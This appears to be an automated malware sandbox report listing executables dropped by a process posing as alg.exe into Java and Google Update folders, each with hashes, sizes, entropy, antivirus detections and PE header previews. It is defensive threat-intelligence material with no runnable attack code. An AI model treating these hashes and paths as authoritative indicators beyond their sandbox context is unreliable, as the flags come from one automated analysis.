SSDEEP:	24576:UeR0gB6axoCf0R6RLQRF/TzJqe58Bimk/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:ggHxmR6uBTzge5MimkLNiXicJFFRGNzb
MD5:	7899DADE23765DC3A0D9172B66D18702
SHA1:	320A80A274C992BF984E980E4CE237979EE68E59
SHA-256:	656FD9D231B1BC59D5FCCA3628EADB1083F86EFCC742BC5B9BC7C6B72F1F4BA9
SHA-512:	D6E18409C52F3BE3015EC2427ADCEA5B8F9D91A456A295BFD494308843FDA1634A562692A01C7CD2E2D07D532019351A114C44E0CEB2A878FA7ACD9D60829527
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........r.b.!.b.!.b.!... .b.!... xb.!..1!.b.!... .b.!... .b.!... .b.!... .b.!... .b.!... .b.!.b.!.c.!?.. .b.!?.. .b.!?.3!.b.!.b[!.b.!?.. .b.!Rich.b.!........PE..L.....d..........................................@..........................`......<.......................................t$.....................................`T...............................S..@............................................text...L........................... ..`.rdata..0Z.......\..................@..@.data...8<...@...(...&..............@....rsrc...............N..............@..@.reloc...P.......@..................@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1530880
Entropy (8bit):	4.999596356542499
Encrypted:	false
SSDEEP:	24576:5cwOtO7a/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:5hOtmaLNiXicJFFRGNzj3
MD5:	C64B96CF022411D65428FBA83100049E
SHA1:	2C133F1A63597A40BFC2CFB4190EB9299A628348
SHA-256:	3378A825C807B5EE33005A011982FB92D115FE38BCD5E6FF75E62DD26342C2D1
SHA-512:	28B11B32C2699502B0065884A95DFCA6FE8F05D21AB9001322BA0099102FDAEC092844092B9B94844DB3BB9893972669058E9D1EAA5B232DC318F57310D1E0FE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x..F<...<...<...(..3...(......(......^.F.;...^......^......^..)...(..5...<...N......3.....D.=......=...Rich<...........................PE..L.....d.................N...t....../........`....@..........................P"......e.......................................!..d....P..............................P...T...............................@............`...............................text...\M.......N.................. ..`.rdata..@....`.......R..............@..@.data........0......................@....rsrc........P.......*..............@..@.reloc...p..........................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1530880
Entropy (8bit):	5.000284223187745
Encrypted:	false
SSDEEP:	24576:XfU/h/4K5/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:XM/V5LNiXicJFFRGNzj3
MD5:	1C50055EAC87F35B291CC878FFA663BF
SHA1:	AAA13047F5C053293ECAB58C2AE1D348468B94D2
SHA-256:	3FDAB63663D2FE546913176D0D1C69E026DDE8BC9E76F86969A7C77ABA9C7BD4
SHA-512:	3B7B587573BCF72821C018A3D157AE8973B1E0194D9117F8599EF641116787B286C26BA8E26FD18567A4C518AA48EE1A424C3FF108E953E79D6D2CFAF4F6D3C5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9..#}..p}..p}..pi.qr..pi.q..pi.qo..p..}pz..p..qX..p..qo..p..qh..pi.qt..p}..p...p..qr..p...p\|..p..q\|..pRich}..p........................PE..L.....d.................N...t......7........`....@..........................P".....x........................................!..d....P.............................P...T...............................@............`...............................text....M.......N.................. ..`.rdata..@....`.......R..............@..@.data........0......................@....rsrc.......P.......*..............@..@.reloc...p..........................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1669632
Entropy (8bit):	5.073475086989371
Encrypted:	false
SSDEEP:	24576:4x7NiBLZ05jNTmJWEx2/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:4xZiHIjNg2LNiXicJFFRGNzj3
MD5:	92F06AAF0D204AAA57D958A1BEF8A9BA
SHA1:	A4AC54119BFFE764B7DB3CCA114A82DBD4B94FF0
SHA-256:	603C8611F04F0284A108EFF86DDF82E9422D4EFB1E09BB35E8DCD0F97FA04673
SHA-512:	7EF2983CADEC4F67D8189DA3C516645BC9198A638345A91C23A83016D64EE1F3ABE3C197D691CA252EA51EBC32F425A68571BC286873D44024BE1D05AB172F9E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......p...4rv.4rv.4rv. .u.>rv. .s..rv. .r.&rv.V.r.!rv.V.u.,rv.V.s..rv. .w.?rv.4rw..rv..r.&rv..s.0rv....5rv..t.5rv.Rich4rv.................PE..L.....d............................^.............@...........................%......y..........................................x...................................L...T............................4..@...................,........................text...,........................... ..`.rdata..:(.......*..................@..@.data............t..................@....rsrc................:..............@..@.reloc.......0......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1574912
Entropy (8bit):	5.031916863270955
Encrypted:	false
SSDEEP:	24576:3lnRkl46fgJcEwixs/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:LoJfgJcEwCsLNiXicJFFRGNzj3
MD5:	AF4C5EBBD70AB32C8FC6D60AFA9ADC25
SHA1:	C132D3223AFF2FC450102D6CAD508CCEDDC2E79A
SHA-256:	00109BA3D5AEEC93B07EF244F1F2A74733F96AA9C34B9406F7D9C504BB6BB7CE
SHA-512:	23979315B8C3B2C3DE87CC4AF121A36C22D0AF3FB5513AC9B885CF2734CD3FA49644FCABB96A7BE101CD9D33E856E5886484ADB55862D42ECEF9E09F5188452F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\|../../../L...../L...8./+...../+...../+...../L...../L...../../4./..../.s/../..../Rich../........................PE..L...A..d.............................s............@...........................#.....v.......................................<........P...2..............................T...........................8...@............................................text............................... ..`.rdata...%.......&..................@..@.data...d(... ......................@....rsrc....2...P...4..................@..@.reloc...............H..............@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1677824
Entropy (8bit):	5.088240688205662
Encrypted:	false
SSDEEP:	24576:HW+5k8hb0Haw+x8/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:HWKk8SHawm8LNiXicJFFRGNzj3
MD5:	BB2264D7B3B19E9AB3DEB060B6B9F671
SHA1:	914D22DE62F7D6324A389ADD7BB09452E59A0F97
SHA-256:	CC6EC05A87FD52E38B9D8F506E1FAA1BB76747AAEBAF5F693A3F8723AE576CF9
SHA-512:	54526A713EF33C6C317628237DB8FA4F0F0B7FDE80CDD587100661C420EC7129D3467870663C99C182EFAA46A9D33D421797A312DC58FBB8784AB71511A25594
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........v.s.%.s.%.s.%...$ms.%...$.s.%...$.s.%...$.s.%...$.s.%...$.s.%...$.s.%.s.%xr.%...$.s.%...%.s.%...$.s.%Rich.s.%................PE..d...X..d.........."..........R......L..........@..............................$.....6..... ..................................................M....... ...2.......,................... ..T............................ ..................(............................text............................... ..`.rdata..............................@..@.data....6...p.......X..............@....pdata...,...........j..............@..@_RDATA..............................@..@.gxfg...0...........................@..@.gehcont............................@..@.rsrc....2... ...4..................@..@.reloc...p...`......................@...........................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1437696
Entropy (8bit):	4.706146408444249
Encrypted:	false
SSDEEP:	24576:rLCKABU/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:ruKkULNiXicJFFRGNzj3
MD5:	7AF52197AE18101D233E16E96AFCFD9F
SHA1:	3C005D462F9B3B809E1F9DAEE79C8CB69F6B9C79
SHA-256:	C62FA9E8D5EFE5D3880CA020988C88FE2DFC82E78F13E8C5E7BFA1C5D3A494EA
SHA-512:	AEDFB936E64F0095789BB8CFE80A791E23B8652808D160DD15E79401DFE573BE247E6D101A599BEF0F5A2337FA972B31FD83062B6AD288DD410DF1FA292A4972
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........;...U..U..U.M.V..U.M.P...U.M.Q..U..Q..U..V..U.*.P..U.M.T..U..T...U..\..U....U.....U..W..U.Rich..U.........PE..L...9..d.................D..........Ru.......`....@........................... .....R.......................................P...x....... ...........................p[..T............................[..@...............L............................text....B.......D.................. ..`.data...x....`.......H..............@....idata...............R..............@..@.rsrc... ............\..............@..@.reloc...p...........@..............@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1383936
Entropy (8bit):	4.686262008335994
Encrypted:	false
SSDEEP:	24576:EjNWBPX/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:2NmvLNiXicJFFRGNzj3
MD5:	DB6448D3D45177B6254C26D8CEBBC6C7
SHA1:	4FE4ECA91EFA9DDB32AD33EC8FD4C04C25224A41
SHA-256:	E5CF1578439947E381BFE2BEBD5CE5566B1C29CD6FA02E035245201B3FA1A2C3
SHA-512:	D287C5E93DF018E4917BA429CD0E6D55E751CF2650B8159A3257567E2B37E441FD81709A11974FCB5210A3DB292ED2D1F13644132080D8FC8AC4A17B1869D7D4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............Z...Z...Z..[..Z..[L..Z..[..Zu.[.Zu.[..Zu.[..Z..[..Z...Z...Z..[...Z..]Z...Z..5Z...Z..[...ZRich...Z........................PE..L...:..d..........................................@........................... ..............................................5..<....`..p2...........................+..T...........................X+..@............................................text...h........................... ..`.rdata...\.......^..................@..@.data........@.......0..............@....rsrc...p2...`...4...:..............@..@.reloc...p...........n..............@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1458176
Entropy (8bit):	4.782563019074003
Encrypted:	false
SSDEEP:	24576:+i5RyhdsRrN/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:+i5soRNLNiXicJFFRGNzj3
MD5:	9D25A357424F91D3BA652745DE98EEF3
SHA1:	F3D2D00349421F209E8A57A7D0BD64058AB8305E
SHA-256:	BE384B6DE81CA30EBC7835A64053EA4BD34BCA1F24B26E9C687F7A05580DF15C
SHA-512:	481DA03FE00C22DA07F46CD092B6ADE92A23E38EB2BE975C786528E4DEC9B7C89383A79169D7943D0A03B1411AF0A75DC7360AF4B349A4CCD4589AE7BE8CF989
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9...X..X..X..~...X..~..X...2..X...2..X...2...X...3..X..~..X..~..X..X..?Y...3..X...3..X..Rich.X..........PE..d...A..d.........."......R...z.......R.........@..............................!......!.... ..................................................p..x....................................V..T...........................0W...............p...............................text....P.......R.................. ..`.rdata.......p.......V..............@..@.data...x3...........d..............@....pdata...............t..............@..@_RDATA..............................@..@.gxfg...............................@..@.gehcont............................@..@.reloc...`... ......................@...........................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1498112
Entropy (8bit):	4.900296431328439
Encrypted:	false
SSDEEP:	24576:61qDmRF+wpx/QafC/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:tmRF+wn/JfCLNiXicJFFRGNzj3
MD5:	594E4AC9B0890226C648B655FDF1597C
SHA1:	82253319E522BAD28B5F4C9DF230D47A20B76864
SHA-256:	0374147CCD5AF5AA58C17B5E29434A11A8556D610130CA00FB9959C452B7507C
SHA-512:	AC8044B331A0B2CD4B10573B1C776A0463B1C133048AAC3BBAB7FB4D768CEB2C3677456D0393AA163F7B95CBAA19ACCFF4A312062CE9672073C3B91C15276037
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|6..8W..8W..8W...%..6W...%...W...=...W...=...W...=..{W...%.. W...%..#W..8W...V..L<...W..L<s.9W..L<..9W..Rich8W..................PE..L...Y..d.....................r....................@...........................!.....y................................................0...2..............................T...........................h...@............................................text...e........................... ..`.rdata..b...........................@..@.data....'..........................@....rsrc....2...0...4..................@..@.reloc.......p......................@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1383936
Entropy (8bit):	4.686230355719929
Encrypted:	false
SSDEEP:	24576:rE21BPI/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:I2bwLNiXicJFFRGNzj3
MD5:	1112434E1D4F976E7B3372D792A39FF5
SHA1:	9DF050A49CF189638AC0F0D449C62548BDCA65D3
SHA-256:	C32575868523FF9A7DDA4823C65E1DB1DD790FEECD0F01B7AD80E91294E4C36F
SHA-512:	D179C32A133F1C889374061A5D5DDF43780822C62AF084E0D23AE6F269D8F8A6D80EDF6E1262DB249B5B5F7A5287AF9A7DBC03B237D8F7437FC1224EA4FE322A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............Z...Z...Z..[..Z..[L..Z..[..Zu.[.Zu.[..Zu.[..Z..[..Z...Z...Z..[...Z..]Z...Z..5Z...Z..[...ZRich...Z........................PE..L...;..d..........................................@........................... ..............................................5..<....`..p2...........................+..T...........................h+..@............................................text...h........................... ..`.rdata...\.......^..................@..@.data........@.......0..............@....rsrc...p2...`...4...:..............@..@.reloc...p...........n..............@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.132\117.0.5938.132_chrome_installer.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	105669632
Entropy (8bit):	7.999989132196193
Encrypted:	true
SSDEEP:	3145728:GLAKHgDx/oat8qdTsdZDAE1mXXaYS79zDIICU:EBWx/pt8U7E6aZRfIICU
MD5:	26A34F4722D729D7E56B739F718E1EA9
SHA1:	7B9C2A6834EC5673B65B20E85E3A6F5E72EE7044
SHA-256:	ABC7F9354F15F24AA6618C36D11A36C5A45345D0A9D402E3E6DB8A10ECB657E5
SHA-512:	1F5C66B5B932E64ECF997D285D896EEC6E568B2CF41D02258989900C8020447974684BB64B1D5C165074D7DCE568548FC29B3A2887A48B42D070168CDA2936BE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......4...LC................@..............................L.....qJM... ..................................................X..P........+C.....\|....................W..............................PP..@............Z...............................text...&2.......4.................. ..`.rdata.......P.......8..............@..@.data...p....p.......N..............@....pdata..\|............P..............@..@.00cfg..0............T..............@..@.retplne.............V...................rsrc....+C......,C..X..............@..@.reloc........C.......C.............@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1313792
Entropy (8bit):	4.573530631056213
Encrypted:	false
SSDEEP:	12288:kqiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:ks/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	8C1FFD4095532716F65C7AAE1348E971
SHA1:	4DC38ED9101589D18A0E0277E1D5A34617B1CA66
SHA-256:	69A7622897352D651C1E6AFA40A07F9C557C11443A2E1A6FB204380A332F8FA8
SHA-512:	57F4A7227D0190B7300920183028C03C0D275E6996B240A122E0042AC04BD10F660945F369A3CC4BB0BA845278CFC0046ECA6742E95455A636AD22A3DC51BDA5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8.C.VWC.VWC.VWJ..WS.VW!.WVA.VW!.SV\.VW!.RVO.VW!.UVB.VWW.WVJ.VWC.WW!.VW.SVB.VW..WB.VW.TVB.VWRichC.VW........PE..L.....d.................8...6.......4.......P....@.................................n\......................................$i.......................................b..T............................a..@............P...............................text....7.......8.................. ..`.rdata...#...P...$...<..............@..@.data...L............`..............@....rsrc................b..............@..@.reloc...`...........l..............@...........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.53474441985271
Encrypted:	false
SSDEEP:	12288:oCziJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:NH/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	9886AF92B451FF56FEBD6122ECC43BE1
SHA1:	81D75E6E5B7EA8FD7AF75B617ACA9DEE8191CE8C
SHA-256:	ABC8C1FE5337F34876E705B9C8EBFD88ED76DABD1709FD9263EC8278ABA1F681
SHA-512:	C113E105477820C830F33512C276224C302023C8998C00D6485A53A0AB83C317987F033B8E8FA9133E86C7D9D4A71B6EFE5CBE7A1331EC79673CF361CBA4ADB3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................?e.......................................&.......@..d...........................h"..T............................!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0....... ..............@....rsrc...d....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\java.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1530880
Entropy (8bit):	4.9995881643655204
Encrypted:	false
SSDEEP:	24576:2cwOtO7a/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:2hOtmaLNiXicJFFRGNzj3
MD5:	E50288EBDB4FCF0AAFBB02E3F87B9421
SHA1:	93635D636B320082D5116828A1F7D596A2AE7269
SHA-256:	DD2C0578008431BE2D2D9EF599A91CFCED704746615FCE9F4AE85386C5070B26
SHA-512:	C616F38EFBBC0780F070C9EAED310F6880F9C17E70EE6FA6616FC8ABDB8CCBA80B564843EB41EF6C36B26DC22B87CC893019AD1D37EB90290176D52AE065E5F1
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x..F<...<...<...(..3...(......(......^.F.;...^......^......^..)...(..5...<...N......3.....D.=......=...Rich<...........................PE..L.....d.................N...t....../........`....@..........................P"..... ........................................!..d....P..............................P...T...............................@............`...............................text...\M.......N.................. ..`.rdata..@....`.......R..............@..@.data........0......................@....rsrc........P.......*..............@..@.reloc...p..........................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1368064
Entropy (8bit):	4.641328927831816
Encrypted:	false
SSDEEP:	24576:217/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:2VLNiXicJFFRGNzj3
MD5:	ABD7B864956CA9AF6A50F5873E39A2B1
SHA1:	E54B089077515743C79A1CBB38E418BD16DA0866
SHA-256:	ABF764638EBCA5C3C5B91A8194998F75A4DCF7309CC5B660DADCAD0853FF4216
SHA-512:	E811EEB3C57FBDEDE8FFB09F21A41E25FD9A9C252FD99F54A9567133E1AADAE9FC9371C922C39B05A8792330771D6E0AA758E22CDE6A2C3B83342E466B2C34E8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......VT.f.5.5.5.5.5.5.M\5.5.5pM.4.5.5pM.4.5.5pM.4.5.5.^.4.5.5.5.5.5.5pM.455.5.L.4.5.5.L05.5.5.L.4.5.5Rich.5.5........................PE..L.....d.................P...........K.......`....@.........................................................................8...@......................................T...............................@............`...............................text....O.......P.................. ..`.rdata...g...`...h...T..............@..@.data...@...........................@....rsrc...............................@..@.reloc...`...p.......@..............@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1530880
Entropy (8bit):	5.00028905069821
Encrypted:	false
SSDEEP:	24576:QfU/h/4K5/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:QM/V5LNiXicJFFRGNzj3
MD5:	3DF33C0C1F9016958095970C3F143532
SHA1:	8BE15B71EE3F0E6591F4F391C4925FEFB9FF526A
SHA-256:	0E602449CDAD1E51D5AD2D077153FBEE97278F63E64472B4111594F7790EFD81
SHA-512:	C723131247DB3D4468045E59687ED828C448FBEA182370155ED05A35697BA7DB6D86BAB6475DA76E8F29AFF5AFE7B0B34D2B789142375F95F04516EC15CC2629
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9..#}..p}..p}..pi.qr..pi.q..pi.qo..p..}pz..p..qX..p..qo..p..qh..pi.qt..p}..p...p..qr..p...p\|..p..q\|..pRich}..p........................PE..L.....d.................N...t......7........`....@..........................P"..............................................!..d....P.............................P...T...............................@............`...............................text....M.......N.................. ..`.rdata..@....`.......R..............@..@.data........0......................@....rsrc.......P.......*..............@..@.reloc...p..........................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1669632
Entropy (8bit):	5.07347260341301
Encrypted:	false
SSDEEP:	24576:Ox7NiBLZ05jNTmJWEx2/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:OxZiHIjNg2LNiXicJFFRGNzj3
MD5:	F09A0BF69601E9842791A52760524299
SHA1:	9CE06359FF44E750E0BB1E13BDCEB1EB6BFE9BD5
SHA-256:	D85406B900AC2A2595E78A9C58963FF5AA1D1A7A0A98663D5817FD3D761B55FF
SHA-512:	96C623D7A7D93CB785BE8F3E6F384E9D9FB48F09025A5F5346C5E24F9EC62F13910BF99041A3A4A173FBC223B36C84C1A4F85903F2CEEBCD3C8804393C617E52
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......p...4rv.4rv.4rv. .u.>rv. .s..rv. .r.&rv.V.r.!rv.V.u.,rv.V.s..rv. .w.?rv.4rw..rv..r.&rv..s.0rv....5rv..t.5rv.Rich4rv.................PE..L.....d............................^.............@...........................%.................................................x...................................L...T............................4..@...................,........................text...,........................... ..`.rdata..:(.......*..................@..@.data............t..................@....rsrc................:..............@..@.reloc.......0......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.53517943064627
Encrypted:	false
SSDEEP:	12288:aPrDiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:67/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	E192F0F2975683C9117E7D3DB7FB05A3
SHA1:	A0840F1BC822BABA531316D1BF81D458BBA98DE5
SHA-256:	2CB47CC29955AAAD586A69078965D027FC69CD0F220CC8CDDC75F75304ACBF80
SHA-512:	E6D50BC204CC4143B7B192FE97F836C09C10335E19304C99136A459BFD10C41EB1573F774E96F93D01AF7367FA3E4972D8A7A7A5323F59430979DDFBCDAA44CB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................4........................................&.......@..H............................"..T............................!..@............ ...............................text............................... ..`.rdata..6.... ......................@..@.data........0....... ..............@....rsrc...H....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1397760
Entropy (8bit):	4.700537761612368
Encrypted:	false
SSDEEP:	24576:mdP/g/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:a4LNiXicJFFRGNzj3
MD5:	5D58F647D1DBE76260AD9396DA36AB46
SHA1:	DEC886690D7BCB8D85AE1883D5ABC5CC80D7A68D
SHA-256:	0BA6029BA26C01D8C93E56BD15CA44C4657D701F85398575F7186C13070B4F03
SHA-512:	7C3999A85D8E5E7A4AA1AF84BDD8FD9B9804ADAD996027CE428A2F336D54D5A49B63BE808249BF72D92B00A7DABA8ECFE225ED71E244E415CD5C104F8DC89E47
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<.$x..wx..wx..wq.uwn..wl..vp..w...v}..w...vu..w...v{..wx..w...w...v_..w...vy..w...vs..w...wy..w...vy..wRichx..w........PE..L...}.d..........................................@..........................` ......,..........................................h...................................`v..T............................u..@............................................text............................... ..`.rdata..R...........................@..@.data...P2..........................@....rsrc...............................@..@.reloc...p..........................@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\keytool.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.535189840630556
Encrypted:	false
SSDEEP:	12288:ga5riJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:1Z/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	E3DFC5096DDF9D2D2CCAC908EFF5D1E4
SHA1:	5954CA095F25C9131839D19B66D9F1A7E2DE2CA4
SHA-256:	1CF14506631E684AB1446E9B4E7B033A83E3150BBD0D40F2807A57C7735A2AA9
SHA-512:	FA3EF9421408493FCBD2FAF46169BA32B791083BD5FF244BCBF7BF1B9DA4CD6F56FD4C464C86CB7A5693A520B7F7A14E15CC253AF7F752476C0123AA2B7C9BED
Malicious:	true
